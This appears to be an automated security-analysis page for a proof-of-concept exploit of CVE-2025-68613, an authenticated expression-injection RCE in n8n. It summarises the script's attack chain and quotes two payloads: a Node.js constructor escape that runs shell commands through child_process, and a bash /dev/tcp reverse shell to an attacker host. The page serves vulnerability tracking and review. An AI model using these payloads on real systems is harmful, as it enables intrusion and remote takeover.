PoC files

6 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub

Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The repository contains a Python script (tot-exploit-2025-68613.py) that authenticates to an n8n instance, creates a workflow with a malicious expression, and executes it to achieve remote code execution (RCE). It supports multiple payloads including command execution, file read/write, and reverse shell. The README also describes a scanner, but the scanner file is not included in the evidence.

Backdoor review

No backdoor observed in reviewed code

The supplied evidence consists of a README, a requirements file, and a single Python exploit script (tot-exploit-2025-68613.py) for CVE-2025-68613. The script performs authenticated RCE against a target n8n instance by injecting expressions into a workflow, which is the documented exploit behavior. No concealed backdoor, unrelated payload, persistence mechanism, or operator-directed harm beyond the stated exploit was observed in the reviewed text.

ClassificationExploit
Model confidence100%
AuthenticationRequired
Languagespython
Target softwaren8n
Attack typesexpression injectionremote code execution
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The file tot-exploit-2025-68613.py is explicitly designed to exploit CVE-2025-68613 by injecting expressions into an n8n workflow to execute arbitrary code on the target system. It performs the full exploit chain: authentication, malicious workflow creation, execution, and optional cleanup.

tot-exploit-2025-68613.py:1-386README.md:8-12

Requirements

  • Valid n8n credentials (email and password) are required for authentication.tot-exploit-2025-68613.py:82-122
  • The target n8n instance must be running and accessible over the network.tot-exploit-2025-68613.py:61-62

Observed behavior

  • Authenticates to the n8n REST API using provided credentials and extracts a bearer token.tot-exploit-2025-68613.py:82-122
  • Creates a new workflow containing a 'Set' node with a user-controlled expression that invokes arbitrary JavaScript via 'this.constructor.constructor'.tot-exploit-2025-68613.py:125-177
  • Executes the malicious workflow, triggering the injected expression to run on the server.tot-exploit-2025-68613.py:180-199
  • Supports payloads for system info gathering, OS command execution, environment variable dumping, file read/write, and reverse shell.tot-exploit-2025-68613.py:218-341
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Exploit Script
tot-exploit-2025-68613.pyThe script implements authenticated RCE via expression injection in n8n workflows, consistent with the described CVE-2025-68613 vulnerability.tot-exploit-2025-68613.py:1-386
Payload
this.constructor.constructor('return require("child_process").execSync("{command}").toString()')()The command execution payload uses Node.js child_process to run arbitrary OS commands, which is the core of the RCE exploit.tot-exploit-2025-68613.py:243
Payload
bash -i >& /dev/tcp/{lhost}/{lport} 0>&1The reverse shell payload establishes a connection back to an attacker-controlled host, which is a standard post-exploitation technique.tot-exploit-2025-68613.py:307
Review boundaries

What the analysis did not establish

  • The scanner script (tot-scanner-2025-68613.py) is mentioned in the README but is not included in the provided evidence files.
  • The evidence does not include the non-text media file (Screenshot from 2025-12-28 23-50-48.png) referenced in the README.
  • The evidence does not include the two text files without content that are part of the repository.
  • Three files (including one non-text media file and two unclassified files) were not provided as text and were not analyzed. Their content could contain additional behavior not reflected in this review.
  • The scanner script (tot-scanner-2025-68613.py) was listed in the README but its content was not included in the evidence; its behavior is unknown.
  • Binary or non-text content flagged as metadata-only was not inspected.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1